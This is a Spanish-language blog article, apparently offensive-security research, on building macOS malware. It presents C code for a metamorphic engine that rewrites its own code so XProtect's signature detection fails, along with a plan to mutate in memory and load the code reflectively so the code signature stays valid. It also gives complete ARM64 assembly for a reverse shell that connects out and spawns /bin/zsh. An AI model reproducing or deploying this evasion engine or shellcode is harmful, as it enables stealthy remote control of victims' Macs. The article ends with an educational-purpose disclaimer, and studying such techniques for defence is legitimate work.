Desarollo de malware avanzado en MacOS ARM: shellcode y metamorfosis de memoria

2026-06-25 — research

Introducción

macOS representa uno de los ecosistemas más interesantes desde la perspectiva de investigación en seguridad ofensiva. La combinación de arquitecturas heterogéneas (Intel x86-64 y Apple Silicon ARM64), mecanismos de protección como W^X, firmas de código obligatorias, y tecnologías como Pointer Authentication (PAC), crean un desafío técnico considerable para el desarrollo de software malicioso sofisticado.

Este artículo presenta un análisis técnico profundo sobre dos áreas fundamentales: el desarrollo de motores metamórficos capaces de evadir firmas estáticas, y la implementación de shells reversos a bajo nivel en arquitectura ARM64. Ambos temas se interconectan en el contexto de implantes persistentes para sistemas Darwin.


1. El Concepto de Mutación Metamórfica

1.1 Fundamentos Teóricos

Un motor metamórfico difiere fundamentalmente de un cifrador polimórfico. Mientras que el polimorfismo se limita a cifrar el payload y cambiar el decodificador, el metamorfismo reescribe las instrucciones del propio programa [1]. El resultado es que cada generación del código presenta una representación binaria completamente diferente, manteniendo la semántica original.

La motivación es clara: los sistemas de detección basados en firmas estáticas, como XProtect de Apple, resultan ineficaces contra código que muta su estructura en cada ejecución [2].

1.2 El Desafío del Tamaño Fijo

Uno de los problemas estructurales más relevantes en el contexto de Mach-O es la imposibilidad de expandir la imagen de código cargada durante la ejecución:

┌─────────────────────────────────────────────────────────┐
│                    MACH-O LAYOUT                        │
├─────────────────────────────────────────────────────────┤
│  __TEXT Segment (FIXED at build time)                   │
│  ┌─────────────────────────────────────────────────┐    │
│  │  Code pages mapped by loader - SIZE IMMUTABLE   │    │
│  └─────────────────────────────────────────────────┘    │
│                                                         │
│  We can OVERWRITE existing bytes                       │
│  We CANNOT expand the mapped region                    │
└─────────────────────────────────────────────────────────┘

El cargador de macOS mapea el segmento __TEXT con un layout estático determinado en tiempo de compilación. Esto impone dos modos de operación [2]:

Característica DiskMode InMemMode
Tamaño Fijo al original Expansible (\~3x)
Mutaciones Reg-swaps, sustituciones Pipeline completo
Persistencia Escritura en disco Volátil
Crecimiento 0% en 8 generaciones \~6.79%

1.3 La Arquitectura del Motor

El núcleo del sistema es el contexto de mutación (context_t), que mantiene el estado completo a través de las transformaciones:

typedef struct {
    uint8_t *ogicode;              // Código original
    uint8_t *working_code;         // Buffer mutado
    size_t codesz;                 // Tamaño actual
    size_t buffcap;                // Capacidad del buffer
    flowmap cfg;                   // Grafo de flujo de control
    muttt_t muttation;             // Log de mutaciones
    uint64_t ranges[2048];         // Regiones protegidas
    size_t numcheck;               // Contador de regiones
    chacha_state_t rng;            // PRNG ChaCha20
    struct mach_header_64 *hdr;    // Cabecera Mach-O
    uint64_t text_vm_start;        // Base de sección text
    reloc_table_t *reloc_table;    // Tracker de reubicaciones
    uint8_t entry_backup[256];     // Snapshot del entry point
} context_t;

Cada binario incorpora un marcador generacional embebido para controlar la evolución:

typedef struct __attribute__((packed)) {
    uint8_t magic[8];    // "AETHR\0\0\0"
    uint32_t generation; // 0-8
    uint32_t checksum;   // Integridad XOR
} marker_t;

2. Grafos de Flujo de Control (CFG)

2.1 Definición y Propósito

El CFG representa un mapa de la ejecución real del binario: no simplemente la secuencia top-to-bottom, sino todos los saltos, branches, llamadas y retornos que hacen que la ejecución salte como una bola de pinball [2].

Sin comprender el CFG, cualquier manipulación de código resultaría en corrupción instantánea. El CFG permite reorganizar el código de manera inteligente.

2.2 Bloques Básicos

Un bloque básico es una secuencia lineal de instrucciones que siempre se ejecutan juntas de principio a fin. No hay saltos hacia su interior ni branches hacia afuera hasta la instrucción final (el terminador).

Block 0 (entry):
    mov rax, [rdi]
    add rax, 1
    cmp rax, 10
    jge block_2        ; terminador: branch condicional

Block 1 (fall through):
    call do_something
    jmp block_3        ; terminador: branch incondicional

Block 2 (branch target):
    call do_other_thing
    jmp block_3        ; Debe terminar en jump o return

Block 3:
    ret                ; terminador: return

Cada bloque posee:

  • Start offset: posición inicial en el flujo de instrucciones
  • End offset: posición de la instrucción final
  • Sucesores: bloques donde la ejecución puede transferirse
  • Condición de salida: si el terminador es return, jump indirecto, etc.

2.3 Construcción del CFG: Algoritmo Leader-Based

El enfoque clásico de la teoría de compiladores utiliza el algoritmo basado en líderes, O(n), simple y correcto [3]:

Paso 1: Identificar líderes

Un líder es cualquier instrucción que puede ser la primera de un bloque básico:

bool *leaders = calloc(size, sizeof(bool));
leaders[0] = true;  // Entry point siempre es líder

size_t offset = 0;
while (offset < size) {
    x86_inst_t inst;
    decode_x86_withme(code + offset, size - offset, 0, &inst, NULL);

    if (cfg_terminator(&inst) || branch_if(&inst)) {
        // La instrucción después de un branch es líder
        if (offset + inst.len < size) {
            leaders[offset + inst.len] = true;
        }

        // El target del branch también es líder
        int64_t target = calculate_branch_target(&inst, offset);
        if (target >= 0 && target < size) {
            leaders[target] = true;
        }
    }
    offset += inst.len;
}

Paso 2: Particionar en bloques

size_t block_start = 0;
for (size_t i = 0; i < size; i++) {
    if (leaders[i] && i > block_start) {
        cfg->blocks[cfg->num_blocks].start = block_start;
        cfg->blocks[cfg->num_blocks].end = i;
        cfg->blocks[cfg->num_blocks].id = cfg->num_blocks;
        cfg->num_blocks++;
        block_start = i;
    }
}

Paso 3: Conectar aristas

for (size_t bi = 0; bi < cfg->num_blocks; bi++) {
    blocknode *block = &cfg->blocks[bi];
    x86_inst_t last_inst = get_last_instruction(block);

    if (is_ret(&last_inst)) {
        block->is_exit = true;  // Sin sucesores
    }
    else if (is_unconditional_jmp(&last_inst)) {
        // Un sucesor: el target
        block->successors[block->num_successors++] = find_target_block(&last_inst);
    }
    else if (is_conditional_branch(&last_inst)) {
        // DOS sucesores: target y fall-through
        block->successors[block->num_successors++] = find_target_block(&last_inst);
        block->successors[block->num_successors++] = bi + 1;
    }
}

2.4 Identificación de Terminadores

static inline bool cfg_terminator(const x86_inst_t *inst) { 
    uint8_t op = inst->opcode[0];

    // Jumps incondicionales
    if (op == 0xE9 || op == 0xEB) return true;  // JMP rel32, JMP rel8

    // Returns
    if (op == 0xC3 || op == 0xC2 || op == 0xCB || op == 0xCA) return true;

    // Jumps indirectos (FF /4, FF /5)
    if (op == 0xFF && inst->has_modrm) {
        uint8_t reg = modrm_reg(inst->modrm);
        if (reg == 4 || reg == 5) return true;
    }

    return false;
}

static inline bool branch_if(const x86_inst_t *inst) { 
    uint8_t op = inst->opcode[0];

    // Jcc rel8 (70-7F)
    if (op >= 0x70 && op <= 0x7F) return true;

    // LOOP, LOOPE, LOOPNE, JCXZ
    if (op == 0xE0 || op == 0xE1 || op == 0xE2 || op == 0xE3) return true;

    // Jcc rel32 (0F 80-8F)
    if (op == 0x0F && inst->opcode_len > 1 && 
        inst->opcode[1] >= 0x80 && inst->opcode[1] <= 0x8F) return true;

    return false;
}

3. Manipulación del Control Flow

3.1 Shuffling de Bloques

Una vez construido el CFG, es posible reorganizar los bloques mientras se preservan las semánticas:

// Crear ordenamiento aleatorio
size_t *order = malloc(nb * sizeof(size_t));
for (size_t i = 0; i < nb; i++) order[i] = i;

// Fisher-Yates shuffle, manteniendo block 0 como entry point
for (size_t i = nb - 1; i > 1; i--) {
    size_t j = 1 + (chacha20_random(rng) % i);
    size_t t = order[i]; 
    order[i] = order[j]; 
    order[j] = t;
}

// Copiar bloques en nuevo orden
uint8_t *nbuf = malloc(size * 2);
size_t out = 0;
for (size_t oi = 0; oi < nb; oi++) {
    size_t bi = order[oi];
    blocknode *b = &cfg.blocks[bi];
    memcpy(nbuf + out, code + b->start, b->end - b->start);
    new_off[bi] = out;
    out += blen;
}

3.2 El Problema de los Desplazamientos

Al mover bloques, todos los desplazamientos relativos cambian:

Before:                After shuffle:
[0x100]                [0x500]
   |  JMP +100            |  JMP -200
   v                      v
[0x200]                [0x300]

Es necesario parchear cada instrucción de branch con el nuevo desplazamiento:

for (size_t i = 0; i < num_patches; i++) {
    patch_t *p = &patches[i];
    size_t src = p->off;
    size_t tgt_blk = find_block_containing(p->abs_target);

    if (tgt_blk != SIZE_MAX) {
        size_t new_tgt = new_off[tgt_blk];
        int32_t new_disp = (int32_t)(new_tgt - (src + 5));
        memcpy(nbuf + src + 1, &new_disp, 4);
    }
}

3.3 Expansión de Jumps Cortos

Un JMP rel8 solo alcanza ±127 bytes. Tras el shuffling, el target puede estar más lejos, requiriendo expansión a JMP rel32:

if (typ == 5) {  // JMP rel8
    int32_t d = (int32_t)(new_tgt - (src + 2));

    if (d >= -128 && d <= 127) {
        nbuf[src + 1] = (uint8_t)d;  // Todavía cabe
    } else {
        // Expandir a rel32
        memmove(nbuf + src + 5, nbuf + src + 2, out - src - 2);
        nbuf[src] = 0xE9;  // JMP rel32
        int32_t rel = (int32_t)(new_tgt - (src + 5));
        memcpy(nbuf + src + 1, &rel, 4);
        out += 3;
    }
}

3.4 Trampolines para Targets Externos

Cuando un branch apunta fuera del código controlado (llamadas a librerías), se emite un trampoline:

// MOV RAX, imm64
buf[(*off)++] = 0x48; 
buf[(*off)++] = 0xB8;
memcpy(buf + *off, &target, 8);
*off += 8;

// JMP RAX o CALL RAX
if (is_call) { 
    buf[(*off)++] = 0xFF; 
    buf[(*off)++] = 0xD0; 
} else { 
    buf[(*off)++] = 0xFF; 
    buf[(*off)++] = 0xE0; 
}

3.5 Control Flow Flattening

El flattening destruye completamente la estructura visible:

Original CFG:           Flattened CFG:
   +---------+             +-----------+
   |   0     |             | dispatcher|  <-- todo el flujo pasa aquí
   | if(x>0) |             +-----------+
   +----+----+                    |
        |                         |
   +----v----+             +------+------+------+------+ 
   |   foo   |             |case 0|case 1|case 2|case 3| ...
   +----+----+             +------+------+------+------+ 

Todo se convierte en un loop gigante con un switch de "estados" en lugar de bloques estructurados. El código se vuelve inanalizable para decompiladores estáticos.


4. El Motor de Reubicaciones

4.1 ¿Por Qué es Crítico?

Toda manipulación de código que cambie offsets o posiciones requiere actualización de referencias. Sin esto, el binario crashea instantáneamente [2]:

0x1000: call 0x1050    ; Llama función en 0x1050
0x1005: jmp 0x1100     ; Salta a 0x1100
...
0x1050: mov rax, 5     ; Función empieza aquí

Tras inyectar 16 bytes de junk en 0x1040:
0x1000: call 0x1050    ; ¡ROTO! La función ahora está en 0x1060
0x1005: jmp 0x1100     ; ¡ROTO! El target ahora está en 0x1110

4.2 Estructura de Datos

typedef struct {
    size_t offset;              // Posición en el código
    size_t instruction_start;   // Inicio de la instrucción
    uint8_t type;               // CALL, JMP, LEA, etc.
    int64_t addend;             // Offset original
    uint64_t target;            // Dirección target
    bool is_relative;           // PC-relative o absoluto
    size_t instruction_len;     // Longitud de instrucción
} reloc_entry_t;

typedef struct {
    reloc_entry_t *entries;
    size_t count;
    size_t capacity;
    uint64_t original_base;
} reloc_table_t;

4.3 Scanner x86-64

static void scan_x86(uint8_t *code, size_t size,
                     reloc_table_t *table, uint64_t base_addr) {
    size_t offset = 0;

    while (offset < size) {
        x86_inst_t inst;
        decode_x86_withme(code + offset, size - offset, 
                         base_addr + offset, &inst, NULL);

        // Direct calls y jumps (E8, E9)
        if (inst.opcode[0] == 0xE8 || inst.opcode[0] == 0xE9) {
            int32_t rel32 = *(int32_t *)(code + offset + 1);
            uint64_t target = base_addr + offset + inst.len + rel32;
            reloc_add(table, offset + 1, offset, inst.len, 
                     (inst.opcode[0] == 0xE8) ? RELOC_CALL : RELOC_JMP, 
                     rel32, target, true);
        }

        // RIP-relative memory operands
        if (inst.has_modrm) {
            uint8_t mod = (inst.modrm >> 6) & 3;
            uint8_t rm  = inst.modrm & 7;

            if (mod == 0 && rm == 5) {  // RIP-relative
                int32_t disp32 = *(int32_t *)(code + offset + inst.disp_offset);
                uint64_t target = base_addr + offset + inst.len + disp32;
                reloc_add(table, offset + inst.disp_offset, offset, 
                         inst.len, RELOC_LEA, disp32, target, true);
            }
        }

        offset += inst.len ? inst.len : 1;
    }
}

4.4 Scanner ARM64

ARM64 simplifica algunos aspectos (instrucciones de ancho fijo) pero complica la extracción de inmediatos:

static void scan_arm64(uint8_t *code, size_t size,
                       reloc_table_t *table, uint64_t base_addr) {
    for (size_t i = 0; i < size - 4; i += 4) {
        uint32_t insn = *(uint32_t*)(code + i);

        // B/BL instructions (128MB range)
        if ((insn & 0x7C000000) == 0x14000000) {
            int32_t imm26 = (int32_t)(insn & 0x03FFFFFF);
            if (imm26 & 0x02000000) imm26 |= 0xFC000000;

            int64_t offset = imm26 * 4;
            uint64_t target = base_addr + i + offset;

            uint8_t type = (insn & 0x80000000) ? RELOC_CALL : RELOC_JMP;
            reloc_add(table, i, i, 4, type, offset, target, true);
        }

        // ADRP (page-relative, 4GB range)
        else if ((insn & 0x9F000000) == 0x90000000) {
            int64_t immlo = (insn >> 29) & 0x3;
            int64_t immhi = (insn >> 5) & 0x7FFFF;
            int64_t imm = (immhi << 2) | immlo;
            if (imm & 0x100000) imm |= 0xFFFFFFFFFFE00000LL;

            int64_t offset = imm * 4096;
            uint64_t target = (base_addr + i) & ~0xFFFULL;
            target += offset;
            reloc_add(table, i, i, 4, RELOC_LEA, offset, target, true);
        }

        // ADR, B.cond, CBZ/CBNZ, LDR literal...
    }
}

5. Consideraciones Multi-Arquitectura

5.1 La Realidad del Mercado

macOS corre en dos arquitecturas: Intel x86-64 y ARM64 (Apple Silicon). Los Macs con M-series están por todas partes, y las máquinas Intel no desaparecerán de la noche a la mañana [2].

La solución: diseñar para ambas desde el inicio:

#if defined(__x86_64__)
    // x86-64 specific
#elif defined(__aarch64__)
    // ARM64 specific
#endif

5.2 Diferencias en Decodificación

Aspecto x86-64 ARM64
Ancho de instrucción Variable (1-15 bytes) Fijo (4 bytes)
Prefijos Legacy, REX, VEX, EVEX Ninguno
Addressing RIP-relative PC-relative con alineación
Operandos implícitos PUSH usa RSP, MUL usa RAX/RDX SP es X31 en algunos contextos

5.3 El Desafío de Apple Silicon y PAC

Apple Silicon implementa Pointer Authentication (PAC) en hardware:

┌─────────────────────────────────────────────────────────┐
│               POINTER AUTHENTICATION                     │
├─────────────────────────────────────────────────────────┤
│  Cada function pointer, return address, y control-flow  │
│  lleva una firma criptográfica embebida.                │
│                                                         │
│  Cambiar una dirección → Firma inválida → CRASH         │
│                                                         │
│  Las llaves PAC están en el silicon, controladas por    │
│  el kernel. Sin entitlements especiales, no puedes      │
│  generar firmas válidas.                                │
└─────────────────────────────────────────────────────────┘

Instrucciones PAC reconocidas por el decoder:

PACIASP/PACIBSP (0xD503233F)  ; Firma de función
RETAA/RETAB (0xD65F0BFF)      ; Returns autenticados
AUTIASP/AUTIBSP (0xD50323BF)  ; Autenticación
PACIA/AUTIA (0xDAC1xxxx)      ; Firma/auth general

La estrategia: evitar generar código propio y cargar normalmente a través de dyld, que genera PAC para todos los punteros. Las funciones protegidas se dejan intactas.


6. Shell Reverso ARM64 para macOS

6.1 El Problema del struct sockaddr_in

En Linux se puede omitir sin_len; en Darwin (BSD) no es opcional. La estructura debe ser exactamente 16 bytes [4]:

struct sockaddr_in {
    uint8_t  sin_len;       // 1 byte - NO OPCIONAL en Darwin
    sa_family_t sin_family; // 1 byte
    in_port_t sin_port;     // 2 bytes (big-endian)
    struct in_addr sin_addr; // 4 bytes
    char sin_zero[8];       // 8 bytes padding
};

6.2 Implementación

Creación del socket:

; socket(AF_INET, SOCK_STREAM, 0)
mov     x0, #2          ; AF_INET
mov     x1, #1          ; SOCK_STREAM
mov     x2, xzr         ; protocol = 0
mov     x16, #97        ; BSD syscall: socket
svc     #0xffff

cmp     x0, #0
blt     _exit_fail
mov     x19, x0         ; Guardar fd en x19 (callee-saved)

Preparación de sockaddr_in en .data:

.data
sockaddr_in:
  .byte 16, 2, 0x11, 0x5c, 127, 0, 0, 1, 0,0,0,0, 0,0,0,0
  ;      |    |    |--------|  |-----------|
  ;      |    |    puerto BE   127.0.0.1
  ;      |    AF_INET
  ;      sin_len

.text
  adrp    x1, sockaddr_in@PAGE
  add     x1, x1, sockaddr_in@PAGEOFF
  mov     x2, #16

Conexión:

; connect(sockfd, addr, addrlen)
mov     x0, x19
mov     x16, #98        ; BSD syscall: connect
svc     #0xffff
cmp     x0, #0
blt     _exit_fail

Redirección de I/O:

; dup2(sock, 2) -> stderr
mov     x0, x19
mov     x1, #2
mov     x16, #90
svc     #0xffff

; dup2(sock, 1) -> stdout
mov     x0, x19
mov     x1, #1
mov     x16, #90
svc     #0xffff

; dup2(sock, 0) -> stdin
mov     x0, x19
mov     x1, #0
mov     x16, #90
svc     #0xffff

Spawn de shell:

; execve("/bin/zsh", ["/bin/zsh", NULL], NULL)
mov     x3, #0x622f             ; "/b"
movk    x3, #0x6e69, lsl#16     ; "in"
movk    x3, #0x7a2f, lsl#32     ; "/z"
movk    x3, #0x6873, lsl#48     ; "sh"
stp     x3, xzr, [sp, #-16]!    ; push path + null terminator

add     x0, sp, xzr             ; x0 = path
stp     x0, xzr, [sp, #-16]!    ; push argv array
add     x1, sp, xzr             ; x1 = argv
mov     x2, xzr                 ; envp = NULL

mov     x16, #59                ; BSD syscall: execve
svc     #0xffff

6.3 Errores Comunes

Error Síntoma Corrección
Omitir sin_len connect falla silenciosamente Incluir primer byte = 16
Puerto en little-endian Conexión a puerto incorrecto Usar big-endian (0x115C = 4444)
Construir struct en registros Problemas con relocations Usar .data + adrp/add
Usar /bin/sh Puede no existir Usar /bin/zsh en macOS

7. Flujo de Mutación Completo

El pipeline de mutación sigue una secuencia estructurada:

┌──────────────────────────────────────────────────────────────┐
│                    MUTATION PIPELINE                          │
├──────────────────────────────────────────────────────────────┤
│  1. Verificar generación actual                               │
│     └─ Si >= MAX_GEN: detener                                │
│                                                               │
│  2. Backup del código actual                                  │
│     └─ Restaurar si transformación falla                      │
│                                                               │
│  3. Construir CFG                                             │
│     └─ Leader detection + block partitioning                  │
│                                                               │
│  4. Análisis de liveness                                      │
│     └─ Registros vivos vs disponibles para swap               │
│                                                               │
│  5. Escanear reubicaciones                                    │
│     └─ Calls, jumps, RIP-relative operands, jump tables       │
│                                                               │
│  6. Transformaciones:                                         │
│     ├─ Gen 0-1: Register swaps                                │
│     ├─ Gen 2-3: Sustitución de instrucciones                  │
│     ├─ Gen 4-5: Inyección de junk, block shuffling            │
│     └─ Gen 6-8: CFG flattening, opaque predicates             │
│                                                               │
│  7. Validación                                                │
│     └─ Estructura, encoding, control flow                     │
│                                                               │
│  8. Output:                                                   │
│     ├─ DiskMode: escribir a disco (mismo tamaño)              │
│     └─ InMemMode: cargar y ejecutar sin tocar disco           │
└──────────────────────────────────────────────────────────────┘

8. El Problema de W^X

macOS enforcement de W^X impide tener páginas de memoria simultáneamente escribibles y ejecutables:

┌─────────────────────────────────────────────────────────────┐
│                      W^X PROTECTION                          │
├─────────────────────────────────────────────────────────────┤
│  Página Writable  →  NO ejecutable                          │
│  Página Executable →  NO escribible                         │
│                                                             │
│  Solución: Dual-mapping                                     │
│  ┌─────────────┐     ┌─────────────┐                        │
│  │ Mapping 1   │     │ Mapping 2   │                        │
│  │ RW-         │────▶│ R-X         │                        │
│  │ (write)     │     │ (execute)   │                        │
│  └─────────────┘     └─────────────┘                        │
│        Mismo archivo físico subyacente                       │
└─────────────────────────────────────────────────────────────┘

La técnica de dual-mapping mapea el código dos veces: una vista escribible y otra ejecutable.


9. Firmas de Código y XProtect

9.1 El Dilema

XProtect, al ser signature-based, falla contra código mutado. Pero hay un problema: cambiar un solo byte rompe la firma de código, y macOS rechaza ejecutar el binario [2].

┌─────────────────────────────────────────────────────────────┐
│                    CODE SIGNING CHECK                        │
├─────────────────────────────────────────────────────────────┤
│  Binario original                                           │
│  ┌─────────────────────────────────────────────┐            │
│  │  Code + embedded signature                  │            │
│  └─────────────────────────────────────────────┘            │
│                    │                                         │
│                    ▼                                         │
│  ¿Mutación en disco?                                        │
│     Sí → Firma inválida → macOS lo rechaza                  │
│     No → Firma válida → pero sin mutación...                │
│                                                             │
│  Solución: Mutación en memoria + reflective loading          │
└─────────────────────────────────────────────────────────────┘

9.2 Estrategia Operacional

  1. El binario en disco permanece intacto (firma válida)
  2. Cada ejecución: leer código original, mutar en memoria
  3. Reflective loading: cargar código mutado sin tocar disco
  4. Cualquier mutación previa se pierde al terminar la ejecución

10. Conclusiones

El desarrollo de implants sofisticados para macOS requiere dominar múltiples dominios técnicos:

  • Arquitectura Mach-O: Comprender el formato binario y sus limitaciones
  • Análisis de código: CFG, liveness analysis, decoding multi-arquitectura
  • Protecciones del sistema: W^X, code signing, PAC
  • Assembly ARM64/x86-64: Syscalls BSD, calling conventions, addressing modes

El motor metamórfico presentado demuestra que es posible evadir detección basada en firmas manteniendo estabilidad a través de múltiples generaciones. Sin embargo, las protecciones modernas de Apple Silicon (PAC) añaden una capa adicional de complejidad que requiere arquitectura específica.

El reverse shell ARM64 ilustra la importancia de los detalles específicos de plataforma: lo que funciona en Linux puede fallar silenciosamente en Darwin debido a diferencias en el ABI y estructuras de datos del kernel.


Referencias

[1] The Mental Driller, "How I Made MetaPHOR and What I've Learned," VX Heavens, 2002. [Online]. Available: https://web.archive.org/web/20210224201353/https://vxug.fakedoma.in/archive/VxHeaven/lib/vmd01.html

[2] 0xf00sec, "Aether: Metamorphic Engine for macOS," GitHub Repository, 2024. [Online]. Available: https://github.com/0xf00sec/Aether\ https://0xf00sec.github.io/0x2e

[3] A. V. Aho, M. S. Lam, R. Sethi, and J. D. Ullman, Compilers: Principles, Techniques, and Tools, 2nd ed. Boston, MA, USA: Pearson, 2006.

[4] cocomelonc, "Malware Development for macOS Part 12: Reverse Shell ARM M1," cocomelonc.github.io, 2025. [Online]. Available: https://cocomelonc.github.io/macos/2025/10/15/malware-mac-12.html


Nota: Este artículo tiene fines exclusivamente educativos y de investigación en seguridad. Las técnicas descritas deben utilizarse únicamente en entornos controlados y con autorización explícita.

← back to blog